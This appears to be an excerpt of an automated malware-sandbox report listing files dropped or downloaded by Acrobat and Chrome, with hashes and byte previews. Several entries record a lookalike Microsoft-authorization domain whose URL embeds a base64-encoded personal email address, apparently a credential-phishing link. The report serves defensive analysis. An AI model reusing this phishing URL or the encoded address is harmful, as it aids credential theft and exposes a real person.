Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9e6c6955-e4b7-4580-8174-7e306a06545a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Reputation:	unknown
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a8a05da8-b4fa-4fbe-a409-ea67684a8d3c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Reputation:	unknown
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b0fbcd24-ea41-49f8-898b-5c5debd505c9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:
MD5:	6C4077397C2324CEA451F6421236210E
SHA1:	298D86FBEED841622C5B08F918FE3190C1E4BC44
SHA-256:	F264A165C7BBC3D8CA4DFED3007E55ED6B569A66788EF20D3B5BCBFAE773A15D
SHA-512:	91CF40E7C68C83E8F095A196F94EEBAD7699861DBA2B06343A5F0038FDEB6182979721440B40BA84DA6C902B8EDC77CE94D2F366CF76D4E2587CC127AB0BF2CB
Malicious:	false
Reputation:	unknown
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 64x64, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	32988
Entropy (8bit):	2.0287505263352568
Encrypted:	false
SSDEEP:
MD5:	3D0E5C05903CEC0BC8E3FE0CDA552745
SHA1:	1B513503C65572F0787A14CC71018BD34F11B661
SHA-256:	42A498DC5F62D81801F8E753FC9A50AF5BC1AABDA8AB8B2960DCE48211D7C023
SHA-512:	3D95663AC130116961F53CDCA380FFC34E4814C52F801DF59629EC999DB79661B1D1F8B2E35D90F1A5F68CE22CC07E03F8069BD6E593C7614F7A8B0B0C09FA9E
Malicious:	false
Reputation:	unknown
Preview:	......@@.... .(@..F... .... .(...n@........ .(....P........ .(....Y..(...@......... ..............................v...v...v..w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...v..v...v.......v...v..w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...v..v...v...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...v...v..w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (552)
Category:	downloaded
Size (bytes):	27534
Entropy (8bit):	5.488767998668563
Encrypted:	false
SSDEEP:
MD5:	AD9EC12784FEB3A7CD33F78D4F42B3C4
SHA1:	8BE02264BE2C37A1C5F90496640DBE8EA44F45C5
SHA-256:	2ED885AAC35B47A58E5EE5BDFED8428BB07579ED9B4B9A1E24087A14F25A1EC1
SHA-512:	9E6ACE57F5B6BA3F8293447DE1F6803323CD9A80CE25DB3BF2C78F0C45615224DDCF6F148A2FC40BA9B69AA7320315BEEC3BF5AE8C8CDC704D1B53FA38F101D6
Malicious:	false
Reputation:	unknown
URL:	https://static.licdn.com/scds/common/u/lib/fizzy/fz-1.3.8-min.js
Preview:	(function(b){function n(b,c){for(var k in b)b.hasOwnProperty(k)&&(c[k]=b[k]);return c}function p(b,c,k,h){b.onload=b.onreadystatechange=function(){b.readyState&&"complete"!=b.readyState&&"loaded"!=b.readyState\|\|c[k]\|\|(b.onload=b.onreadystatechange=null,h())}}function G(b){b.ready=b.finished=!0;for(var c=0;c<b.finished_listeners.length;c++)b.finished_listeners[c]();b.ready_listeners=[];b.finished_listeners=[]}function A(){function s(b,c,s,n){var w,e,v=function(){c.ready_cb(c,function(){var g=w,k=function(){null!=.e&&(e=null,G(g))},e;B[c.src].finished\|\|(b[i]\|\|(B[c.src].finished=!0),e=g.elem\|\|document.createElement("script"),c.type&&(e.type=c.type),c.charset&&(e.charset=c.charset),p(e,g,"finished",k),g.elem?g.elem=null:g.text?(e.onload=e.onreadystatechange=null,e.text=g.text):e.src=c.real_src,q.insertBefore(e,q.firstChild),g.text&&k())})},l=function(){c.finished_cb(c,s)};e=c.src;var D=b[h],U=/^\w+\:\/\//;/^\/\/\/?/.test(e)?e=location.protocol+e:!U.test(e)&&"/"!=e.charAt(0)&&(e=(D\|\|"")+e);

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (769)
Category:	downloaded
Size (bytes):	100170
Entropy (8bit):	5.367048918338038
Encrypted:	false
SSDEEP:
MD5:	BFF77CE6408E818A589287E96551D126
SHA1:	1AF825F9F644709D95E0AC35AE93790BEF9F6A43
SHA-256:	49292EE5483C8B5944955868D069DD4A96A459AF185286FC638B79150F37FAFD
SHA-512:	FC218D72D6270E5062004C38DE9E232FAB10126FC8C8AEE98C43EF25776185A3C747A2C595241E919C8B3974C869B9547063A34DCE53266F943A9A4098DCC9A7
Malicious:	false
Reputation:	unknown
URL:	https://static.licdn.com/sc/h/bd4wlgg9kzz4u85nas4duu0py
Preview:	!function(){var S,fa;function ga(g,h){return g(h={exports:{}},h.exports,Nb),h.exports}function T(g,h){var c=Array.isArray(h)?h:h.split(" "),b=g instanceof HTMLElement?g.className:null,a=b;if(null!==b){for(var b=b.length?b.split(" "):[],e=0,d=c.length;e<d;e++)-1===b.indexOf(c[e])&&b.push(c[e]);(b=b.join(" "))!==a&&(g.className=b)}}function $a(g){var h=g.tagName.toLowerCase();return("input"===h&&Ob[g.type]\|\|"textarea"===h)&&g.form&&g.parentNode&&ab.test(g.form.className)}function Fa(g){var h=null;g=.!(!g\|\|!g.parentNode)&&g.parentNode;return g&&(Pb.test(g.className)?h=g:"form"===g.tagName.toLowerCase()\|\|ab.test(g.className)\|\|(h=Fa(g))),h}function bb(g){(g=!!$a(g.target)&&Fa(g.target))&&g.setAttribute("data-form-elem-focus","true")}function cb(g){(g=!(g.target.value\|\|!$a(g.target))&&Fa(g.target))&&g.removeAttribute("data-form-elem-focus")}function db(g){9===g.keyCode&&(S=!1)}function eb(g){S=!0}function fb(g){S&&g.target!==g.currentTarget&&g.target.setAttribute("data-artdeco-is-focused",!0

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	175967
Entropy (8bit):	5.103027850593575
Encrypted:	false
SSDEEP:
MD5:	350FE1E25472D44957FC16915F0D5153
SHA1:	32F6554948927F9FB61011F9A096DE8EC89B62EA
SHA-256:	294BAC58494E10A6B926CEA734F9D6B30396FEFB09659E536CB79D9775A7F48A
SHA-512:	E09EE9DE458F558739813F2E09C29004C843DC343E3169A1FE2574A1C63996799D29C55442A8B0CB840470825487E196CBB7A88D2AB187E65E0785BFB4EF1222
Malicious:	false
Reputation:	unknown
URL:	https://static.licdn.com/sc/h/35397qx3weze575afrgy8jbkj
Preview:	:root,.hue-web__artdeco-migration-scope--revert{--artdeco-reset-base-margin-zero: 0;--artdeco-reset-base-padding-zero: 0;--artdeco-reset-base-border-zero: 0;--artdeco-reset-base-font-size-hundred-percent: 100%;--artdeco-reset-base-font-weight-bold: bold;--artdeco-reset-base-font-style-italic: italic;--artdeco-reset-base-outline-zero: 0;--artdeco-reset-base-outline-none: none;--artdeco-reset-base-line-height-one: 1;--artdeco-reset-base-display-block: block;--artdeco-reset-base-list-style-none: none;--artdeco-reset-base-quotes-none: none;--artdeco-reset-base-vertical-align-baseline: baseline;--artdeco-reset-base-vertical-align-middle: middle;--artdeco-reset-base-background-transparent: transparent;--artdeco-reset-base-opacity-zero: 0;--artdeco-reset-base-top-zero: 0;--artdeco-reset-base-position-absolute: absolute;--artdeco-reset-base-text-decoration-none: none;--artdeco-reset-base-text-decoration-line-through: line-through;--artdeco-reset-base-border-collapse-collapse: collapse;--artdec

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (396)
Category:	downloaded
Size (bytes):	4554
Entropy (8bit):	4.995514004622595
Encrypted:	false
SSDEEP:
MD5:	094B9B23FC56D263ADA43DB1221AED45
SHA1:	AC354999E54229F0D0FD96160DE3C9E338C809C5
SHA-256:	F668A06CD52E188443BCFD2099F426FB913E5FFA5CDC7D051C495E5695F2BA7C
SHA-512:	ECA4B36AA1D9B270391A1E1373B1CE5F7041D81F1AB3792D960CD9BF1C1718F08322D22D4B583365933649893D98E5C9DE2FAD1A8203EAA7C24B8C3B7CB81D46
Malicious:	false
Reputation:	unknown
URL:	https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameter
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Attention Required! \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded', f

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (396)
Category:	downloaded
Size (bytes):	4554
Entropy (8bit):	4.996198213489061
Encrypted:	false
SSDEEP:
MD5:	3F99171F322B1E4E75BB75221BBCE370
SHA1:	60D9EA16EE21EF1AE904C4D6A5C8B70A6014BEAC
SHA-256:	8EEA73E28995668D99A0F5E6A6735C0E6F3D60FC909877CCB6180E0D54CADA94
SHA-512:	0EAC5FCABCADBE75539E0EF7072DB1D5FC626CD8D56102D739BFB989519DAE86F8066CE54AD139F93FCEB7255149F6D8C3B488C8D92B36C041F10D44C0EA43DA
Malicious:	false
Reputation:	unknown
URL:	https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/favicon.ico
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Attention Required! \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded', f

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (48220), with NEL line terminators
Category:	downloaded
Size (bytes):	358726
Entropy (8bit):	5.433204775061039
Encrypted:	false
SSDEEP:
MD5:	054881E861C2084502B6D0D3073D6EBF
SHA1:	5D587EC100B7BE1BFBFE1F079499E74258A881AF
SHA-256:	AA62190AC1D68E98491CDC635FC96C1D6CA7DA0428C4096C740F16FFFCE3F79B
SHA-512:	2EEC342D0C9A3227340DA4E5DE1D873D980B163A0A83E9FC06A8D7723304F3076CB7C099A56612B313E66F04A03F1FB820BEB5B809094E26DBE57B496427927D
Malicious:	false
Reputation:	unknown
URL:	https://static.licdn.com/sc/h/b9d2ioq59rc8u5l3n2c017zz
Preview:	!function(e){var i={};function n(t){if(i[t])return i[t].exports;var o=i[t]={i:t,l:!1,exports:{}};return e[t].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=e,n.c=i,n.d=function(e,i,t){n.o(e,i)\|\|Object.defineProperty(e,i,{enumerable:!0,get:t})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,i){if(1&i&&(e=n(e)),8&i)return e;if(4&i&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(n.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&i&&"string"!=typeof e)for(var o in e)n.d(t,o,function(i){return e[i]}.bind(null,o));return t},n.n=function(e){var i=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(i,"a",i),i},n.o=function(e,i){return Object.prototype.hasOwnProperty.call(e,i)},n.p="",n(n.s=321)}([function(e,i,n){var t=n(1),o=n(7),a=n(14),c=n(11),l=n(17),r=function(e,i,n){var f,s,d,

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 178 x 175, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	3213
Entropy (8bit):	7.553565995366911
Encrypted:	false
SSDEEP:
MD5:	0D768CBC261841D3AFFC933B9AC3130E
SHA1:	AFF136A4C761E1DF1ADA7E5D9A6ED0EBEA74A4B7
SHA-256:	1C53772285052E52BB7C12AD46A85A55747ED7BF66963FE1993FCEF91FF5B0D0
SHA-512:	CE5B1BBB8CF6B0C3D1FA146D1700DB2300ABD6F2BDBE43ECAAC6AEBC911BE6E1BCD2F8C6704A2CFA67BBB45598793DDEC017E05C2C37CE387293AAE08E7C342F
Malicious:	false
Reputation:	unknown
URL:	https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/images/cf-no-screenshot-error.png
Preview:	.PNG........IHDR.............n.t.....PLTE..........UU.@@.33..$I.@@.99.33.....''.$7.33.00.--..((.&&.$1....,,..)).''.&/.$..,,..)).((.''..)).((.''.&&.%,.$..)).((.''.&&.%.$.)).((.&&.&.%.$).((.''.&&.&.%).$(.$(.''.''.&&.%).$(.''.&&.%).%(.$(.$'.''.&&.&).%(.$'.$'.''.&&.&).%(.%(.$'.$'.&&.&&.&(.%(.%'.&&.&&.%(.%(.$'.$&.&&.&(.%(.%'.%'.$'.$&.&&.&(.%'.%'.$'.$&.&&.&(.%'.%'.$&.$&.&(.%'.%'.$&.$&.$(.%'.%'.%'.$&.$&.$(.%'.%'.%'.%&.$&.$&.$'.%'.%'.%'.%&.$&.$'.$'.%'.%'.%&.%&.$&.$'.$'.%'.%'.%&.%&.$&.$'.$'.%'.%'.%&.%&.$&.$'.$'.%'.%&.%&.%&.$'.$'.$'.%'.%&.%&.%&.$'.$'.$'.$'.%&.%&.%&.$'.$'.$'.$&.%&.%&.%&.$'.$'.$'.$&.%&.%&.%'.$'.$'.$&.$&.%&.%&.%'.$'.$'.$&.$&.%&.%&.%'.$'.$'.$&.$&.%&.%&.%'.$'.$&.$&.$&.%&.%'.%'.$'.$&.$&.$&.%&.%'.%'.$'.$&.$&.$&.%&.%'.%'.$&.$&.$&.$&........tRNS................................ !$%&'()*+,-./01235678:;<=>?@ABCEFHIKLMNOPQRTUVWXYZ[\]^_`adefgijklmnopqrsuvwxyz\|}..................................................................................................................

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4852
Entropy (8bit):	5.276596336106839
Encrypted:	false
SSDEEP:
MD5:	73D4DF1973201643F42D1F8056478AB9
SHA1:	9D69F599EB573FDD4CEC1690C7B8E5BB19DAC252
SHA-256:	E3F81F12E061EBEC96488EE9E2EECD0F909CF56BDF0057242513E5174C35ADC6
SHA-512:	FD15510AC9CBBF90EA56EB5A99F78EB2E3138BAA73A2B56C6341B5322C885D805754D321DB93DF3140D32FC520D664DCD830248CAA607F4ABDABD0B6BE181455
Malicious:	false
Reputation:	unknown
URL:	https://static.licdn.com/sc/h/6uvbu98hl3odicpkxfj7uwnuh
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 17.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="230px" height="230px"... viewBox="0 0 230 230" enable-background="new 0 0 230 230" xml:space="preserve">...<g extraneous="self">....<g id="Bg" display="none">....</g>....<g id="Graphics">.....<g>......<rect x="0" y="0" display="none" fill="#E6E9EC" width="230" height="230"/>......<g>.......<path fill="#9BDAF3" d="M114.5,154.8c-27.6,0-50-22.4-50-50v-1c0-26.2,20.4-48.1,46.6-49.8h5.9c8.3,0.6,16.3,3.2,23.3,7.5........c1,0.7,1.8,1.7,2,2.9c0.2,1.2,0,2.5-0.8,3.5l-0.3,0.4c-0.8,1.2-2.2,1.9-3.7,1.9c-0.9,0-1.7-0.2-2.4-0.7c-6.2-4-13.5-6.3-21-6.6........H114c-22.1,0.9-39.4,18.9-39.4,41.1v0.8c0,22.7,18.4,41.1,41.1,41.1h59.9v9H114.5z"/>.......<path fi

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	272
Entropy (8bit):	4.865426927749229
Encrypted:	false
SSDEEP:
MD5:	A59AA739B90486F879EE4E8175119448
SHA1:	8A72F55723CCEA32FBFF9852FD128DD66DC2BA4C
SHA-256:	414C89F9B50313BB5481AAB66979E5B6CF74D323D46A8683CA195F9245C6F805
SHA-512:	3597945E4A3B1A32BA3815C6FD509B8D720316823D41A6669C53B7FA5AB584D17944A95CF4F26663398B68B97C4411B9B2CFE249E62CE557170A7DD5999586D4
Malicious:	false
Reputation:	unknown
URL:	https://static.licdn.com/sc/h/9sy73bkb829663kxb6g04uafc
Preview:	var _jsecure=require("@linkedin/jsecure"),_jsecure2=_interopRequireDefault(_jsecure);function _interopRequireDefault(a){return a&&a.__esModule?a:{default:a}}window.setTimeout(function(){_jsecure2.default.redirect(document.getElementById("redirect-uri").textContent)},5E3);

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24050)
Category:	downloaded
Size (bytes):	24051
Entropy (8bit):	4.941039417164537
Encrypted:	false
SSDEEP:
MD5:	5E8C69A459A691B5D1B9BE442332C87D
SHA1:	F24DD1AD7C9080575D92A9A9A2C42620725EF836
SHA-256:	84E3C77025ACE5AF143972B4A40FC834DCDFD4E449D4B36A57E62326F16B3091
SHA-512:	6DB74B262D717916DE0B0B600EEAD2CC6A10E52A9E26D701FAE761FCBC931F35F251553669A92BE3B524F380F32E62AC6AD572BEA23C78965228CE9EFB92ED42
Malicious:	false
Reputation:	unknown
URL:	https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/styles/cf.errors.css
Preview:	#cf-wrapper a,#cf-wrapper abbr,#cf-wrapper article,#cf-wrapper aside,#cf-wrapper b,#cf-wrapper big,#cf-wrapper blockquote,#cf-wrapper body,#cf-wrapper canvas,#cf-wrapper caption,#cf-wrapper center,#cf-wrapper cite,#cf-wrapper code,#cf-wrapper dd,#cf-wrapper del,#cf-wrapper details,#cf-wrapper dfn,#cf-wrapper div,#cf-wrapper dl,#cf-wrapper dt,#cf-wrapper em,#cf-wrapper embed,#cf-wrapper fieldset,#cf-wrapper figcaption,#cf-wrapper figure,#cf-wrapper footer,#cf-wrapper form,#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3,#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper header,#cf-wrapper hgroup,#cf-wrapper html,#cf-wrapper i,#cf-wrapper iframe,#cf-wrapper img,#cf-wrapper label,#cf-wrapper legend,#cf-wrapper li,#cf-wrapper mark,#cf-wrapper menu,#cf-wrapper nav,#cf-wrapper object,#cf-wrapper ol,#cf-wrapper output,#cf-wrapper p,#cf-wrapper pre,#cf-wrapper s,#cf-wrapper samp,#cf-wrapper section,#cf-wrapper small,#cf-wrapper span,#cf-wrapper strike,#cf-wrapper strong,#cf-wrapper sub,#cf-w

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 960 x 53, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	715
Entropy (8bit):	7.3533249502413565
Encrypted:	false
SSDEEP:
MD5:	226DCB8F6144BDAAFDFBD8F2F354BE64
SHA1:	3785CC5B3BF52F8E398177B0FF1020B24AA86B8C
SHA-256:	8C873472F4925D5D47521DB4D52532D2983E9CB1BDE8B43143A6CC6DB56C35DB
SHA-512:	ED898B12C4895F7ACEAAB443C1071E6376DB71B4DFDBD769F5F3BE71D562438A18B5E5DC36DD7CC610926E380603A894B2E81DF4302680C736A412BFD3360D3A
Malicious:	false
Reputation:	unknown
URL:	https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/images/browser-bar.png?1376755637
Preview:	.PNG........IHDR.......5.......r....]PLTE........................................................................................9W)....tRNS...u... ........IDATx....n.0....#.......?.f....I.B..g........O...hW...Y^.<..v..E..."....@D;u.#.h....WD.u...nq..vL...J?T.(D..&JtZ`&.....e..!.'m..5..$p.$..k`....+wCk.N=..(<....[.I.O4&.56..kR..O0.H`...%.b.Q........D..X...L.D..(.bT..... ..b+5I.+....W^. .....Y.....L.Ob.&26..IR.$0.y.^6*/..D..X.0_`..s.}..+S.. ..../D......I...ew..Qh.Nn......u.t0k.fX..b.&.!.\..I.cf..RgKC+2.M....6.)o. ..`c..M....../a.&....".Q.....uU.]@....j.......O.'......."....t....d...?z..p.q.Y.C...&0...a.C...&0...a.C...&0...a.C...&0...a.C...&0...a.C...&0...a/..Y.x.I....IEND.B`.

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
